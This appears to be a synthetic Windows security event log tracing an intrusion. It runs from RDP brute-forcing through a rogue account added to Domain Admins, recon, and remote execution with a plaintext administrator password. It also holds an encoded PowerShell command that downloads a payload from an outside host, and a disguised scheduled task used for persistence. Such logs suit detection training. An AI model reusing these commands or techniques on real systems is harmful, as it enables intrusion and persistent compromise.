EventID: 4624 | TimeCreated: 2026-01-15T08:00:12Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_backup | TargetDomainName: CORP | IpAddress: 10.0.1.15 | IpPort: 49821 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:01:05Z | Computer: WS042.corp.local | LogonType: 2 | TargetUserName: jdoe | TargetDomainName: CORP | IpAddress: 10.0.2.42 | IpPort: - | LogonProcessName: User32 | AuthenticationPackageName: Negotiate | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:02:33Z | Computer: WS015.corp.local | LogonType: 2 | TargetUserName: asmith | TargetDomainName: CORP | IpAddress: 10.0.2.15 | IpPort: - | LogonProcessName: User32 | AuthenticationPackageName: Negotiate | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:05:00Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_monitor | TargetDomainName: CORP | IpAddress: 10.0.1.20 | IpPort: 50112 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4625 | TimeCreated: 2026-01-15T08:10:01Z | Computer: DC01.corp.local | LogonType: 10 | TargetUserName: administrator | TargetDomainName: CORP | IpAddress: 45.227.254.8 | IpPort: 52100 | LogonProcessName: NtLmSsp | AuthenticationPackageName: NTLM | Status: 0xC000006D | SubStatus: 0xC000006A | FailureReason: Unknown user name or bad password.
EventID: 4625 | TimeCreated: 2026-01-15T08:10:03Z | Computer: DC01.corp.local | LogonType: 10 | TargetUserName: administrator | TargetDomainName: CORP | IpAddress: 45.227.254.8 | IpPort: 52101 | LogonProcessName: NtLmSsp | AuthenticationPackageName: NTLM | Status: 0xC000006D | SubStatus: 0xC000006A | FailureReason: Unknown user name or bad password.
EventID: 4625 | TimeCreated: 2026-01-15T08:10:05Z | Computer: DC01.corp.local | LogonType: 10 | TargetUserName: admin | TargetDomainName: CORP | IpAddress: 45.227.254.8 | IpPort: 52102 | LogonProcessName: NtLmSsp | AuthenticationPackageName: NTLM | Status: 0xC000006D | SubStatus: 0xC0000064 | FailureReason: Unknown user name or bad password.
EventID: 4625 | TimeCreated: 2026-01-15T08:10:07Z | Computer: DC01.corp.local | LogonType: 10 | TargetUserName: sysadmin | TargetDomainName: CORP | IpAddress: 185.220.101.34 | IpPort: 61300 | LogonProcessName: NtLmSsp | AuthenticationPackageName: NTLM | Status: 0xC000006D | SubStatus: 0xC0000064 | FailureReason: Unknown user name or bad password.
EventID: 4625 | TimeCreated: 2026-01-15T08:10:09Z | Computer: DC01.corp.local | LogonType: 10 | TargetUserName: root | TargetDomainName: CORP | IpAddress: 185.220.101.34 | IpPort: 61301 | LogonProcessName: NtLmSsp | AuthenticationPackageName: NTLM | Status: 0xC000006D | SubStatus: 0xC0000064 | FailureReason: Unknown user name or bad password.
EventID: 4625 | TimeCreated: 2026-01-15T08:10:11Z | Computer: DC01.corp.local | LogonType: 10 | TargetUserName: administrator | TargetDomainName: CORP | IpAddress: 185.220.101.34 | IpPort: 61302 | LogonProcessName: NtLmSsp | AuthenticationPackageName: NTLM | Status: 0xC000006D | SubStatus: 0xC000006A | FailureReason: Unknown user name or bad password.
EventID: 4625 | TimeCreated: 2026-01-15T08:10:13Z | Computer: DC01.corp.local | LogonType: 10 | TargetUserName: sa | TargetDomainName: CORP | IpAddress: 103.75.33.210 | IpPort: 49000 | LogonProcessName: NtLmSsp | AuthenticationPackageName: NTLM | Status: 0xC000006D | SubStatus: 0xC0000064 | FailureReason: Unknown user name or bad password.
EventID: 4625 | TimeCreated: 2026-01-15T08:10:15Z | Computer: DC01.corp.local | LogonType: 10 | TargetUserName: backup | TargetDomainName: CORP | IpAddress: 103.75.33.210 | IpPort: 49001 | LogonProcessName: NtLmSsp | AuthenticationPackageName: NTLM | Status: 0xC000006D | SubStatus: 0xC0000064 | FailureReason: Unknown user name or bad password.
EventID: 4624 | TimeCreated: 2026-01-15T08:12:00Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_backup | TargetDomainName: CORP | IpAddress: 10.0.1.15 | IpPort: 49900 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:15:22Z | Computer: WS042.corp.local | LogonType: 3 | TargetUserName: jdoe | TargetDomainName: CORP | IpAddress: 10.0.2.42 | IpPort: 50200 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:20:00Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_monitor | TargetDomainName: CORP | IpAddress: 10.0.1.20 | IpPort: 50300 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4720 | TimeCreated: 2026-01-15T08:25:33Z | Computer: DC01.corp.local | SubjectUserName: jdoe | SubjectDomainName: CORP | TargetUserName: svc_helpdsk | TargetDomainName: CORP | SamAccountName: svc_helpdsk | DisplayName: Help Desk Service | UserPrincipalName: svc_helpdsk@corp.local | AccountExpires: Never
EventID: 4722 | TimeCreated: 2026-01-15T08:25:34Z | Computer: DC01.corp.local | SubjectUserName: jdoe | SubjectDomainName: CORP | TargetUserName: svc_helpdsk | TargetDomainName: CORP | Status: Account Enabled
EventID: 4724 | TimeCreated: 2026-01-15T08:25:35Z | Computer: DC01.corp.local | SubjectUserName: jdoe | SubjectDomainName: CORP | TargetUserName: svc_helpdsk | TargetDomainName: CORP | Status: Password Reset
EventID: 4732 | TimeCreated: 2026-01-15T08:25:36Z | Computer: DC01.corp.local | SubjectUserName: jdoe | SubjectDomainName: CORP | MemberName: CN=svc_helpdsk,CN=Users,DC=corp,DC=local | MemberSid: S-1-5-21-1234567890-987654321-111111111-1155 | TargetUserName: Domain Admins | TargetDomainName: CORP | TargetSid: S-1-5-21-1234567890-987654321-111111111-512
EventID: 4624 | TimeCreated: 2026-01-15T08:28:00Z | Computer: WS015.corp.local | LogonType: 3 | TargetUserName: asmith | TargetDomainName: CORP | IpAddress: 10.0.2.15 | IpPort: 50400 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:30:00Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_backup | TargetDomainName: CORP | IpAddress: 10.0.1.15 | IpPort: 50500 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4104 | TimeCreated: 2026-01-15T08:33:15Z | Computer: WS042.corp.local | ScriptBlockId: a1b2c3d4-e5f6-7890-abcd-ef1234567890 | ScriptBlockText: powershell.exe -NoProfile -NonInteractive -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAcwA6AC8ALwAxADkAOAAuADUAMQAuADEAMAAwAC4ANwA3AC8AcABhAHkAbABvAGEAZAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUA | Path: - | UserName: CORP\svc_helpdsk
EventID: 4104 | TimeCreated: 2026-01-15T08:33:18Z | Computer: WS042.corp.local | ScriptBlockId: b2c3d4e5-f6a7-8901-bcde-f12345678901 | ScriptBlockText: Get-Process; Get-Service; Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'} | Path: C:\Users\svc_helpdsk\recon.ps1 | UserName: CORP\svc_helpdsk
EventID: 4104 | TimeCreated: 2026-01-15T08:33:22Z | Computer: WS042.corp.local | ScriptBlockId: c3d4e5f6-a7b8-9012-cdef-123456789012 | ScriptBlockText: $cred = New-Object System.Management.Automation.PSCredential('CORP\administrator', (ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)); Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { whoami; ipconfig /all } | Path: - | UserName: CORP\svc_helpdsk
EventID: 4624 | TimeCreated: 2026-01-15T08:35:00Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_monitor | TargetDomainName: CORP | IpAddress: 10.0.1.20 | IpPort: 50600 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4698 | TimeCreated: 2026-01-15T08:36:44Z | Computer: WS042.corp.local | SubjectUserName: svc_helpdsk | SubjectDomainName: CORP | TaskName: \Microsoft\Windows\Maintenance\SystemUpdate | TaskContent: <Actions><Exec><Command>C:\Windows\Temp\svchost.exe</Command><Arguments>-persist -beacon 60</Arguments></Exec></Actions> | Triggers: AtStartup, Daily 03:00
EventID: 4624 | TimeCreated: 2026-01-15T08:40:00Z | Computer: WS042.corp.local | LogonType: 2 | TargetUserName: jdoe | TargetDomainName: CORP | IpAddress: 10.0.2.42 | IpPort: - | LogonProcessName: User32 | AuthenticationPackageName: Negotiate | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:42:00Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_backup | TargetDomainName: CORP | IpAddress: 10.0.1.15 | IpPort: 50700 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:45:12Z | Computer: WS015.corp.local | LogonType: 2 | TargetUserName: asmith | TargetDomainName: CORP | IpAddress: 10.0.2.15 | IpPort: - | LogonProcessName: User32 | AuthenticationPackageName: Negotiate | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:48:00Z | Computer: DC01.corp.local | LogonType: 10 | TargetUserName: svc_helpdsk | TargetDomainName: CORP | IpAddress: 198.51.100.77 | IpPort: 55123 | LogonProcessName: NtLmSsp | AuthenticationPackageName: NTLM | Status: Success
EventID: 4672 | TimeCreated: 2026-01-15T08:48:01Z | Computer: DC01.corp.local | SubjectUserName: svc_helpdsk | SubjectDomainName: CORP | PrivilegeList: SeDebugPrivilege, SeTakeOwnershipPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeImpersonatePrivilege
EventID: 4624 | TimeCreated: 2026-01-15T08:50:00Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_monitor | TargetDomainName: CORP | IpAddress: 10.0.1.20 | IpPort: 50800 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:52:00Z | Computer: WS042.corp.local | LogonType: 3 | TargetUserName: jdoe | TargetDomainName: CORP | IpAddress: 10.0.2.42 | IpPort: 50900 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4624 | TimeCreated: 2026-01-15T08:55:00Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_backup | TargetDomainName: CORP | IpAddress: 10.0.1.15 | IpPort: 51000 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4634 | TimeCreated: 2026-01-15T08:56:00Z | Computer: WS015.corp.local | TargetUserName: asmith | TargetDomainName: CORP | LogonType: 2 | Status: Logoff
EventID: 4624 | TimeCreated: 2026-01-15T08:58:00Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_monitor | TargetDomainName: CORP | IpAddress: 10.0.1.20 | IpPort: 51100 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
EventID: 4634 | TimeCreated: 2026-01-15T08:59:00Z | Computer: WS042.corp.local | TargetUserName: jdoe | TargetDomainName: CORP | LogonType: 2 | Status: Logoff
EventID: 4624 | TimeCreated: 2026-01-15T09:00:00Z | Computer: DC01.corp.local | LogonType: 3 | TargetUserName: svc_backup | TargetDomainName: CORP | IpAddress: 10.0.1.15 | IpPort: 51200 | LogonProcessName: Kerberos | AuthenticationPackageName: Kerberos | Status: Success
